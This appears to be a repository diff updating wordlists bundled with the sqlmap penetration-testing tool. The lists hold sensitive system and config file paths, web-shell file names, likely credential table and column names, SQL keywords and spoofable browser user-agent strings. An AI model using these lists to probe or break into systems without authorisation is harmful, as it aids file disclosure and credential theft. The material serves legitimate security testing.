/private/tmp/[jboss]/server/default/conf/jboss-service.xml
/private/tmp/[jboss]/server/default/conf/jndi.properties
/private/tmp/[jboss]/server/default/conf/log4j.xml
/private/tmp/[jboss]/server/default/conf/login-config.xml
/private/tmp/[jboss]/server/default/conf/server.log.properties
/private/tmp/[jboss]/server/default/conf/standardjaws.xml
/private/tmp/[jboss]/server/default/conf/standardjboss.xml
/private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/private/tmp/[jboss]/server/default/log/boot.log
/private/tmp/[jboss]/server/default/log/server.log
/proc/cpuinfo /proc/cpuinfo
/proc/devices /proc/devices
/proc/meminfo /proc/meminfo
@@ -1114,17 +1092,17 @@
/proc/self/stat /proc/self/stat
/proc/self/status /proc/self/status
/proc/version /proc/version
/program files/[jboss]/server/default/conf/jboss-minimal.xml /program files/jboss/server/default/conf/jboss-minimal.xml
/program files/[jboss]/server/default/conf/jboss-service.xml /program files/jboss/server/default/conf/jboss-service.xml
/program files/[jboss]/server/default/conf/jndi.properties /program files/jboss/server/default/conf/jndi.properties
/program files/[jboss]/server/default/conf/log4j.xml /program files/jboss/server/default/conf/log4j.xml
/program files/[jboss]/server/default/conf/login-config.xml /program files/jboss/server/default/conf/login-config.xml
/program files/[jboss]/server/default/conf/server.log.properties /program files/jboss/server/default/conf/server.log.properties
/program files/[jboss]/server/default/conf/standardjaws.xml /program files/jboss/server/default/conf/standardjaws.xml
/program files/[jboss]/server/default/conf/standardjboss.xml /program files/jboss/server/default/conf/standardjboss.xml
/program files/[jboss]/server/default/deploy/jboss-logging.xml /program files/jboss/server/default/deploy/jboss-logging.xml
/program files/[jboss]/server/default/log/boot.log /program files/jboss/server/default/log/boot.log
/program files/[jboss]/server/default/log/server.log /program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf /program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf /program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf /program files/apache group/apache/conf/apache.conf
@@ -1177,17 +1155,17 @@
/system/library/webobjects/adaptors/apache2.2/apache.conf /system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_ /temp/sess_
/thttpd_log /thttpd_log
/tmp/[jboss]/server/default/conf/jboss-minimal.xml /tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/[jboss]/server/default/conf/jboss-service.xml /tmp/jboss/server/default/conf/jboss-service.xml
/tmp/[jboss]/server/default/conf/jndi.properties /tmp/jboss/server/default/conf/jndi.properties
/tmp/[jboss]/server/default/conf/log4j.xml /tmp/jboss/server/default/conf/log4j.xml
/tmp/[jboss]/server/default/conf/login-config.xml /tmp/jboss/server/default/conf/login-config.xml
/tmp/[jboss]/server/default/conf/server.log.properties /tmp/jboss/server/default/conf/server.log.properties
/tmp/[jboss]/server/default/conf/standardjaws.xml /tmp/jboss/server/default/conf/standardjaws.xml
/tmp/[jboss]/server/default/conf/standardjboss.xml /tmp/jboss/server/default/conf/standardjboss.xml
/tmp/[jboss]/server/default/deploy/jboss-logging.xml /tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/[jboss]/server/default/log/boot.log /tmp/jboss/server/default/log/boot.log
/tmp/[jboss]/server/default/log/server.log /tmp/jboss/server/default/log/server.log
/tmp/access.log /tmp/access.log
/tmp/sess_ /tmp/sess_
/usr/apache/conf/httpd.conf /usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
/usr/lib/php.ini /usr/lib/php.ini
/usr/lib/php/php.ini /usr/lib/php/php.ini
/usr/lib/security/mkuser.default /usr/lib/security/mkuser.default
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml /usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/[jboss]/server/default/conf/jboss-service.xml /usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/[jboss]/server/default/conf/jndi.properties /usr/local/jboss/server/default/conf/jndi.properties
/usr/local/[jboss]/server/default/conf/log4j.xml /usr/local/jboss/server/default/conf/log4j.xml
/usr/local/[jboss]/server/default/conf/login-config.xml /usr/local/jboss/server/default/conf/login-config.xml
/usr/local/[jboss]/server/default/conf/server.log.properties /usr/local/jboss/server/default/conf/server.log.properties
/usr/local/[jboss]/server/default/conf/standardjaws.xml /usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/[jboss]/server/default/conf/standardjboss.xml /usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml /usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/[jboss]/server/default/log/boot.log /usr/local/jboss/server/default/log/boot.log
/usr/local/[jboss]/server/default/log/server.log /usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf /usr/local/apache/apache.conf
/usr/local/apache/apache2.conf /usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf /usr/local/apache/conf/access.conf
@@ -1802,3 +1780,22 @@
/usr/share/squirrelmail/config/config.php /usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php /private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php /srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/etc/lib/nfs/etab
/app/app.js
/app/configure.js
/app/config/config.json
/flag.txt
/readflag

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
[Banners] [Banners]

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
users users
@@ -1825,6 +1825,7 @@ jos_comprofiler_members
jos_joomblog_users jos_joomblog_users
jos_moschat_users jos_moschat_users
knews_lostpass knews_lostpass
korisnik
korisnici korisnici
kpro_adminlogs kpro_adminlogs
kpro_user kpro_user
@@ -2215,6 +2216,7 @@ admin_pwd
admin_pass admin_pass
adminpassword adminpassword
admin_password admin_password
admin_passwords
usrpass usrpass
usr_pass usr_pass
pass pass
@@ -3497,3 +3499,78 @@ utenti
wm_products wm_products
wp_payout_history wp_payout_history
zamowienia zamowienia
# https://deliciousbrains.com/tour-wordpress-database/
wp_blogmeta
wp_blogs
wp_blog_versions
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_registration_log
wp_signups
wp_site
wp_sitemeta
wp_termmeta
wp_term_relationships
wp_terms
wp_term_taxonomy
wp_usermeta
wp_users
# https://docs.joomla.org/Tables
assets
bannerclient
banner
bannertrack
categories
components
contact_details
content_frontpage
content_rating
content
core_acl_aro_groups
core_acl_aro_map
core_acl_aro_sections
core_acl_aro
core_acl_groups_aro_map
core_log_items
core_log_searches
extensions
groups
languages
menu
menu_types
messages_cfg
messages
migration_backlinks
modules_menu
modules
newsfeeds
plugins
poll_data
poll_date
poll_menu
polls
redirect_links
Schemas
sections
session
stats_agents
templates_menu
template_styles
update_categories
update_sites_extensions
update_sites
updates
usergroups
user_profiles
users
user_usergroup_map
viewlevels
weblinks

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
@@ -452,26 +452,13 @@ WRITEXOR
YEAR_MONTH YEAR_MONTH
ZEROFILL ZEROFILL
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html) # PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
A
ABORT
ABS ABS
ABSENT ACOS
ABSOLUTE
ACCESS
ACCORDING
ACTION
ADA
ADD
ADMIN
AFTER
AGGREGATE
ALL ALL
ALLOCATE ALLOCATE
ALSO
ALTER ALTER
ALWAYS
ANALYSE ANALYSE
ANALYZE ANALYZE
AND AND
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
AS AS
ASC ASC
ASENSITIVE ASENSITIVE
ASSERTION ASIN
ASSIGNMENT
ASYMMETRIC ASYMMETRIC
AT AT
ATAN
ATOMIC ATOMIC
ATTRIBUTE
ATTRIBUTES
AUTHORIZATION AUTHORIZATION
AVG AVG
BACKWARD
BASE64
BEFORE
BEGIN BEGIN
BEGIN_FRAME BEGIN_FRAME
BEGIN_PARTITION BEGIN_PARTITION
BERNOULLI
BETWEEN BETWEEN
BIGINT BIGINT
BINARY BINARY
BIT
BIT_LENGTH
BLOB BLOB
BLOCKED
BOM
BOOLEAN BOOLEAN
BOTH BOTH
BREADTH
BY BY
C
CACHE
CALL CALL
CALLED CALLED
CARDINALITY CARDINALITY
CASCADE
CASCADED CASCADED
CASE CASE
CAST CAST
CATALOG
CATALOG_NAME
CEIL CEIL
CEILING CEILING
CHAIN
CHAR CHAR
CHARACTER CHARACTER
CHARACTERISTICS
CHARACTERS
CHARACTER_LENGTH CHARACTER_LENGTH
CHARACTER_SET_CATALOG
CHARACTER_SET_NAME
CHARACTER_SET_SCHEMA
CHAR_LENGTH CHAR_LENGTH
CHECK CHECK
CHECKPOINT CLASSIFIER
CLASS
CLASS_ORIGIN
CLOB CLOB
CLOSE CLOSE
CLUSTER
COALESCE COALESCE
COBOL
COLLATE COLLATE
COLLATION COLLATION
COLLATION_CATALOG
COLLATION_NAME
COLLATION_SCHEMA
COLLECT COLLECT
COLUMN COLUMN
COLUMNS
COLUMN_NAME
COMMAND_FUNCTION
COMMAND_FUNCTION_CODE
COMMENT
COMMENTS
COMMIT COMMIT
COMMITTED
CONCURRENTLY CONCURRENTLY
CONDITION CONDITION
CONDITION_NUMBER
CONFIGURATION
CONNECT CONNECT
CONNECTION
CONNECTION_NAME
CONSTRAINT CONSTRAINT
CONSTRAINTS
CONSTRAINT_CATALOG
CONSTRAINT_NAME
CONSTRAINT_SCHEMA
CONSTRUCTOR
CONTAINS CONTAINS
CONTENT
CONTINUE
CONTROL
CONVERSION
CONVERT CONVERT
COPY COPY
CORR CORR
CORRESPONDING CORRESPONDING
COST COS
COSH
COUNT COUNT
COVAR_POP COVAR_POP
COVAR_SAMP COVAR_SAMP
CREATE CREATE
CROSS CROSS
CSV
CUBE CUBE
CUME_DIST CUME_DIST
CURRENT CURRENT
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER CURRENT_USER
CURSOR CURSOR
CURSOR_NAME
CYCLE CYCLE
DATA
DATABASE
DATALINK DATALINK
DATE DATE
DATETIME_INTERVAL_CODE
DATETIME_INTERVAL_PRECISION
DAY DAY
DB
DEALLOCATE DEALLOCATE
DEC DEC
DECFLOAT
DECIMAL DECIMAL
DECLARE DECLARE
DEFAULT DEFAULT
DEFAULTS
DEFERRABLE DEFERRABLE
DEFERRED DEFINE
DEFINED
DEFINER
DEGREE
DELETE DELETE
DELIMITER
DELIMITERS
DENSE_RANK DENSE_RANK
DEPTH
DEREF DEREF
DERIVED
DESC DESC
DESCRIBE DESCRIBE
DESCRIPTOR
DETERMINISTIC DETERMINISTIC
DIAGNOSTICS
DICTIONARY
DISABLE
DISCARD
DISCONNECT DISCONNECT
DISPATCH
DISTINCT DISTINCT
DLNEWCOPY DLNEWCOPY
DLPREVIOUSCOPY DLPREVIOUSCOPY
@@ -653,313 +572,176 @@ DLURLSCHEME
DLURLSERVER DLURLSERVER
DLVALUE DLVALUE
DO DO
DOCUMENT
DOMAIN
DOUBLE DOUBLE
DROP DROP
DYNAMIC DYNAMIC
DYNAMIC_FUNCTION
DYNAMIC_FUNCTION_CODE
EACH EACH
ELEMENT ELEMENT
ELSE ELSE
EMPTY EMPTY
ENABLE
ENCODING
ENCRYPTED
END END
END-EXEC END-EXEC
END_FRAME END_FRAME
END_PARTITION END_PARTITION
ENFORCED
ENUM
EQUALS EQUALS
ESCAPE ESCAPE
EVENT
EVERY EVERY
EXCEPT EXCEPT
EXCEPTION
EXCLUDE
EXCLUDING
EXCLUSIVE
EXEC EXEC
EXECUTE EXECUTE
EXISTS EXISTS
EXP EXP
EXPLAIN
EXPRESSION
EXTENSION
EXTERNAL EXTERNAL
EXTRACT EXTRACT
FALSE FALSE
FAMILY
FETCH FETCH
FILE
FILTER FILTER
FINAL
FIRST
FIRST_VALUE FIRST_VALUE
FLAG
FLOAT FLOAT
FLOOR FLOOR
FOLLOWING
FOR FOR
FORCE
FOREIGN FOREIGN
FORTRAN
FORWARD
FOUND
FRAME_ROW FRAME_ROW
FREE FREE
FREEZE FREEZE
FROM FROM
FS
FULL FULL
FUNCTION FUNCTION
FUNCTIONS
FUSION FUSION
G
GENERAL
GENERATED
GET GET
GLOBAL GLOBAL
GO
GOTO
GRANT GRANT
GRANTED
GREATEST
GROUP GROUP
GROUPING GROUPING
GROUPS GROUPS
HANDLER
HAVING HAVING
HEADER
HEX
HIERARCHY
HOLD HOLD
HOUR HOUR
ID
IDENTITY IDENTITY
IF
IGNORE
ILIKE ILIKE
IMMEDIATE
IMMEDIATELY
IMMUTABLE
IMPLEMENTATION
IMPLICIT
IMPORT IMPORT
IN IN
INCLUDING
INCREMENT
INDENT
INDEX
INDEXES
INDICATOR INDICATOR
INHERIT INITIAL
INHERITS
INITIALLY INITIALLY
INLINE
INNER INNER
INOUT INOUT
INPUT
INSENSITIVE INSENSITIVE
INSERT INSERT
INSTANCE
INSTANTIABLE
INSTEAD
INT INT
INTEGER INTEGER
INTEGRITY
INTERSECT INTERSECT
INTERSECTION INTERSECTION
INTERVAL INTERVAL
INTO INTO
INVOKER
IS IS
ISNULL ISNULL
ISOLATION
JOIN JOIN
K JSON_ARRAY
KEY JSON_ARRAYAGG
KEY_MEMBER JSON_EXISTS
KEY_TYPE JSON_OBJECT
LABEL JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG LAG
LANGUAGE LANGUAGE
LARGE LARGE
LAST
LAST_VALUE LAST_VALUE
LATERAL LATERAL
LC_COLLATE
LC_CTYPE
LEAD LEAD
LEADING LEADING
LEAKPROOF
LEAST
LEFT LEFT
LENGTH
LEVEL
LIBRARY
LIKE LIKE
LIKE_REGEX LIKE_REGEX
LIMIT LIMIT
LINK LISTAGG
LISTEN
LN LN
LOAD
LOCAL LOCAL
LOCALTIME LOCALTIME
LOCALTIMESTAMP LOCALTIMESTAMP
LOCATION LOG
LOCATOR LOG10
LOCK
LOWER LOWER
M
MAP
MAPPING
MATCH MATCH
MATCHED MATCHES
MATERIALIZED MATCH_NUMBER
MATCH_RECOGNIZE
MAX MAX
MAXVALUE MEASURES
MAX_CARDINALITY
MEMBER MEMBER
MERGE MERGE
MESSAGE_LENGTH
MESSAGE_OCTET_LENGTH
MESSAGE_TEXT
METHOD METHOD
MIN MIN
MINUTE MINUTE
MINVALUE
MOD MOD
MODE
MODIFIES MODIFIES
MODULE MODULE
MONTH MONTH
MORE
MOVE
MULTISET MULTISET
MUMPS
NAME
NAMES
NAMESPACE
NATIONAL NATIONAL
NATURAL NATURAL
NCHAR NCHAR
NCLOB NCLOB
NESTING
NEW NEW
NEXT
NFC
NFD
NFKC
NFKD
NIL
NO NO
NONE NONE
NORMALIZE NORMALIZE
NORMALIZED
NOT NOT
NOTHING
NOTIFY
NOTNULL NOTNULL
NOWAIT
NTH_VALUE NTH_VALUE
NTILE NTILE
NULL NULL
NULLABLE
NULLIF NULLIF
NULLS
NUMBER
NUMERIC NUMERIC
OBJECT
OCCURRENCES_REGEX OCCURRENCES_REGEX
OCTETS
OCTET_LENGTH OCTET_LENGTH
OF OF
OFF
OFFSET OFFSET
OIDS
OLD OLD
OMIT
ON ON
ONE
ONLY ONLY
OPEN OPEN
OPERATOR
OPTION
OPTIONS
OR OR
ORDER ORDER
ORDERING
ORDINALITY
OTHERS
OUT OUT
OUTER OUTER
OUTPUT
OVER OVER
OVERLAPS OVERLAPS
OVERLAY OVERLAY
OVERRIDING
OWNED
OWNER
P
PAD
PARAMETER PARAMETER
PARAMETER_MODE
PARAMETER_NAME
PARAMETER_ORDINAL_POSITION
PARAMETER_SPECIFIC_CATALOG
PARAMETER_SPECIFIC_NAME
PARAMETER_SPECIFIC_SCHEMA
PARSER
PARTIAL
PARTITION PARTITION
PASCAL PATTERN
PASSING PER
PASSTHROUGH
PASSWORD
PATH
PERCENT PERCENT
PERCENTILE_CONT PERCENTILE_CONT
PERCENTILE_DISC PERCENTILE_DISC
PERCENT_RANK PERCENT_RANK
PERIOD PERIOD
PERMISSION PERMUTE
PLACING PLACING
PLANS
PLI
PORTION PORTION
POSITION POSITION
POSITION_REGEX POSITION_REGEX
POWER POWER
PRECEDES PRECEDES
PRECEDING
PRECISION PRECISION
PREPARE PREPARE
PREPARED
PRESERVE
PRIMARY PRIMARY
PRIOR
PRIVILEGES
PROCEDURAL
PROCEDURE PROCEDURE
PROGRAM PTF
PUBLIC
QUOTE
RANGE RANGE
RANK RANK
READ
READS READS
REAL REAL
REASSIGN
RECHECK
RECOVERY
RECURSIVE RECURSIVE
REF REF
REFERENCES REFERENCES
REFERENCING REFERENCING
REFRESH
REGR_AVGX REGR_AVGX
REGR_AVGY REGR_AVGY
REGR_COUNT REGR_COUNT
@@ -969,185 +751,87 @@ REGR_SLOPE
REGR_SXX REGR_SXX
REGR_SXY REGR_SXY
REGR_SYY REGR_SYY
REINDEX
RELATIVE
RELEASE RELEASE
RENAME
REPEATABLE
REPLACE
REPLICA
REQUIRING
RESET
RESPECT
RESTART
RESTORE
RESTRICT
RESULT RESULT
RETURN RETURN
RETURNED_CARDINALITY
RETURNED_LENGTH
RETURNED_OCTET_LENGTH
RETURNED_SQLSTATE
RETURNING RETURNING
RETURNS RETURNS
REVOKE REVOKE
RIGHT RIGHT
ROLE
ROLLBACK ROLLBACK
ROLLUP ROLLUP
ROUTINE
ROUTINE_CATALOG
ROUTINE_NAME
ROUTINE_SCHEMA
ROW ROW
ROWS ROWS
ROW_COUNT
ROW_NUMBER ROW_NUMBER
RULE RUNNING
SAVEPOINT SAVEPOINT
SCALE
SCHEMA
SCHEMA_NAME
SCOPE SCOPE
SCOPE_CATALOG
SCOPE_NAME
SCOPE_SCHEMA
SCROLL SCROLL
SEARCH SEARCH
SECOND SECOND
SECTION SEEK
SECURITY
SELECT SELECT
SELECTIVE
SELF
SENSITIVE SENSITIVE
SEQUENCE
SEQUENCES
SERIALIZABLE
SERVER
SERVER_NAME
SESSION
SESSION_USER SESSION_USER
SET SET
SETOF
SETS
SHARE
SHOW SHOW
SIMILAR SIMILAR
SIMPLE SIN
SIZE SINH
SKIP
SMALLINT SMALLINT
SNAPSHOT
SOME SOME
SOURCE
SPACE
SPECIFIC SPECIFIC
SPECIFICTYPE SPECIFICTYPE
SPECIFIC_NAME
SQL SQL
SQLCODE
SQLERROR
SQLEXCEPTION SQLEXCEPTION
SQLSTATE SQLSTATE
SQLWARNING SQLWARNING
SQRT SQRT
STABLE
STANDALONE
START START
STATE
STATEMENT
STATIC STATIC
STATISTICS
STDDEV_POP STDDEV_POP
STDDEV_SAMP STDDEV_SAMP
STDIN
STDOUT
STORAGE
STRICT
STRIP
STRUCTURE
STYLE
SUBCLASS_ORIGIN
SUBMULTISET SUBMULTISET
SUBSET
SUBSTRING SUBSTRING
SUBSTRING_REGEX SUBSTRING_REGEX
SUCCEEDS SUCCEEDS
SUM SUM
SYMMETRIC SYMMETRIC
SYSID
SYSTEM SYSTEM
SYSTEM_TIME SYSTEM_TIME
SYSTEM_USER SYSTEM_USER
T
TABLE TABLE
TABLES
TABLESAMPLE TABLESAMPLE
TABLESPACE TAN
TABLE_NAME TANH
TEMP
TEMPLATE
TEMPORARY
TEXT
THEN THEN
TIES
TIME TIME
TIMESTAMP TIMESTAMP
TIMEZONE_HOUR TIMEZONE_HOUR
TIMEZONE_MINUTE TIMEZONE_MINUTE
TO TO
TOKEN
TOP_LEVEL_COUNT
TRAILING TRAILING
TRANSACTION
TRANSACTIONS_COMMITTED
TRANSACTIONS_ROLLED_BACK
TRANSACTION_ACTIVE
TRANSFORM
TRANSFORMS
TRANSLATE TRANSLATE
TRANSLATE_REGEX TRANSLATE_REGEX
TRANSLATION TRANSLATION
TREAT TREAT
TRIGGER TRIGGER
TRIGGER_CATALOG
TRIGGER_NAME
TRIGGER_SCHEMA
TRIM TRIM
TRIM_ARRAY TRIM_ARRAY
TRUE TRUE
TRUNCATE TRUNCATE
TRUSTED
TYPE
TYPES
UESCAPE UESCAPE
UNBOUNDED
UNCOMMITTED
UNDER
UNENCRYPTED
UNION UNION
UNIQUE UNIQUE
UNKNOWN UNKNOWN
UNLINK UNMATCHED
UNLISTEN
UNLOGGED
UNNAMED
UNNEST UNNEST
UNTIL
UNTYPED
UPDATE UPDATE
UPPER UPPER
URI
USAGE
USER USER
USER_DEFINED_TYPE_CATALOG
USER_DEFINED_TYPE_CODE
USER_DEFINED_TYPE_NAME
USER_DEFINED_TYPE_SCHEMA
USING USING
VACUUM
VALID
VALIDATE
VALIDATOR
VALUE VALUE
VALUES VALUES
VALUE_OF VALUE_OF
@@ -1158,22 +842,15 @@ VARYING
VAR_POP VAR_POP
VAR_SAMP VAR_SAMP
VERBOSE VERBOSE
VERSION
VERSIONING VERSIONING
VIEW
VOLATILE
WHEN WHEN
WHENEVER WHENEVER
WHERE WHERE
WHITESPACE
WIDTH_BUCKET WIDTH_BUCKET
WINDOW WINDOW
WITH WITH
WITHIN WITHIN
WITHOUT WITHOUT
WORK
WRAPPER
WRITE
XML XML
XMLAGG XMLAGG
XMLATTRIBUTES XMLATTRIBUTES
@@ -1181,7 +858,6 @@ XMLBINARY
XMLCAST XMLCAST
XMLCOMMENT XMLCOMMENT
XMLCONCAT XMLCONCAT
XMLDECLARATION
XMLDOCUMENT XMLDOCUMENT
XMLELEMENT XMLELEMENT
XMLEXISTS XMLEXISTS
@@ -1191,12 +867,8 @@ XMLNAMESPACES
XMLPARSE XMLPARSE
XMLPI XMLPI
XMLQUERY XMLQUERY
XMLROOT
XMLSCHEMA
XMLSERIALIZE XMLSERIALIZE
XMLTABLE XMLTABLE
XMLTEXT XMLTEXT
XMLVALIDATE XMLVALIDATE
YEAR YEAR
YES
ZONE

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,4 @@
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Opera # Opera
@@ -4183,3 +4183,92 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, lik
Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+
# https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66
Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.55
Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
